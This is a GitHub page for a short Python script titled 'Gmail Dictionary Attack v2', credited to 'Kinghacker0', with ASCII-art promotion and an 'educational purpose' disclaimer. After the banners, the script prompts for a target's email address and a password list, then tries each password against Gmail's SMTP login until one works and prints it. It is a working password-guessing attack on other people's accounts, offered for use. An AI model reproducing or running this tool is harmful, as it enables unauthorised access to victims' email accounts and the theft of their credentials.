-
Notifications
You must be signed in to change notification settings - Fork 45
/
Copy pathGmailCrack.py
47 lines (40 loc) · 1.83 KB
/
GmailCrack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# Program: Gmail Dictionary Attack v2
print"Join Ethical Hacker's Community"
#Information
print "Author: Kinghacker0"
print "YouTube - www.YouTube.com/Hacker's King "
print "Website - www.hackersking.in"
print" * * "
print" * * "
print" ** ** "
print" * ** ** * "
print" ** ** * * ** ** "
print" *** * ** Instagram-@kinghacker0 ** * *** "
print" **** ******************************* *** **** "
print" ******* ***** ******* ********** "
print" *********** ***** ************ "
print" ********** *** * ** ** **** ********** "
print" ********** ** ** ** **************** "
print" *************** ** ** *** ** ********************** "
print" ****** *************************** ****** "
print" ************************* "
print" ************************** "
print" **** ** ** **** ** ** ** "
print" *** * * ** * * *** "
print" ** ** "
print" * * "
print" Disclaimer- This tool is only for educational purpose"
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
passwfile = raw_input("Enter the password file name: ")
passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print "[+] Password Found: %s" % password
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Incorrect: %s" % password